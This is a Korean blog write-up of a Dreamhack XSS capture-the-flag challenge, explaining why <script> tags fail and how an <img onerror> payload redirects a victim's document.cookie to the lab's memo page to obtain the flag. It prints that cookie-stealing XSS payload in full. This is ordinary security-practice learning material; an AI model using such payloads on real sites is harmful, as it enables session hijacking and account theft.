xss를 이용하여 flag를 구하는 문제이다.
일단 서버를 생성해 문제를 들어가준다.
페이지가 3개가 있는데 하나씩 들어가서 어떤 페이지인지 확인해준다.
<vuln(xss) page>
url 을 확인해보면 <script>alert(1)</script>가 들어가있는데, 팝업창이 뜨지 않는 것을 보아 alert(1)이 작동하지 않는 것을 확인할 수 있다.
<script>태그 방지가 되어있는 것 확인
<memo>
memo?memo=hello 를 확인했을 때 memo 파라미터에 들어가는 값을 memo해주는 걸 확인할 수 있다.
다른 값을 입력해보면
memo라고 값을 입력했을 때 memo라는 문구가 적히는 것을 확인
<flag>
/vuln 페이지의 파라미터 값으로 무언가를 넣을 수 있도록 되어있다.
/vuln 페이지는 <script> 태그가 작동하지 않는 것을 아까 확인하였다.
memo 페이지에 요청을 보낼 사용자의 쿠키값이 적혀지도록 만들어야하는데, <script> 태그가 먹지 않는다.
여기서
<script> 태그는 웹 사이트의 동작을 정의 할 수 있는 태그이기때문에 CSP 정책와 같은 정책을 적용해 <script> 태그의 사용을 막는다.
※ CSP (Centent Security Policy) : 콘텐츠 보안 정책으로 XSS나 데이터 삽입 공격을 탐지하고 완화하는데 도움을 주기 위해서 나온 정책
<script>태그는 적용이 안되는 것을 확인
<img 태그를 이용해보자
이용할 구문 을 뜯어보면
<img src='x' onerror='alert(1)'>
<img src = : 나타낼 이미지의 주소를 적는다.
onerror= : 이미지를 가져오는 것에서 에러가 발생하였을 경우 실행할 문장
<img src='x' onerror=
이미지 주소를 적는 공간에 'x' 라는 이미지 주소가 아닌 값을 적어 의도적으로 에러를 발생시킨다.
에러가 되면 작동될 문장은
memo 페이지에 쿠키값이 들어가도록 작성하기 위한
<img src='x' onerror= "location.href = 'http://127.0.0.1:8000/memo?memo=' + document.cookie"> 입력
location.href : 해당 페이지로 이동
document.cookie : 사용자 쿠키값
memo 확인
flag 값 출력 확인
'보안 실습' 카테고리의 다른 글
[문제 풀이] Dreamhack CSRF-2 (0) | 2024.09.09 |
---|---|
[문제 풀이] Dreamhack CSRF-1 (0) | 2024.09.09 |
[문제 풀이] Dreamhack XSS-1 (0) | 2024.09.05 |
[실습 기록] Buffer overflow / LDAP Injection (0) | 2024.09.05 |
[서버 진단] Windows 서버 계정 관리 점검 (0) | 2024.08.30 |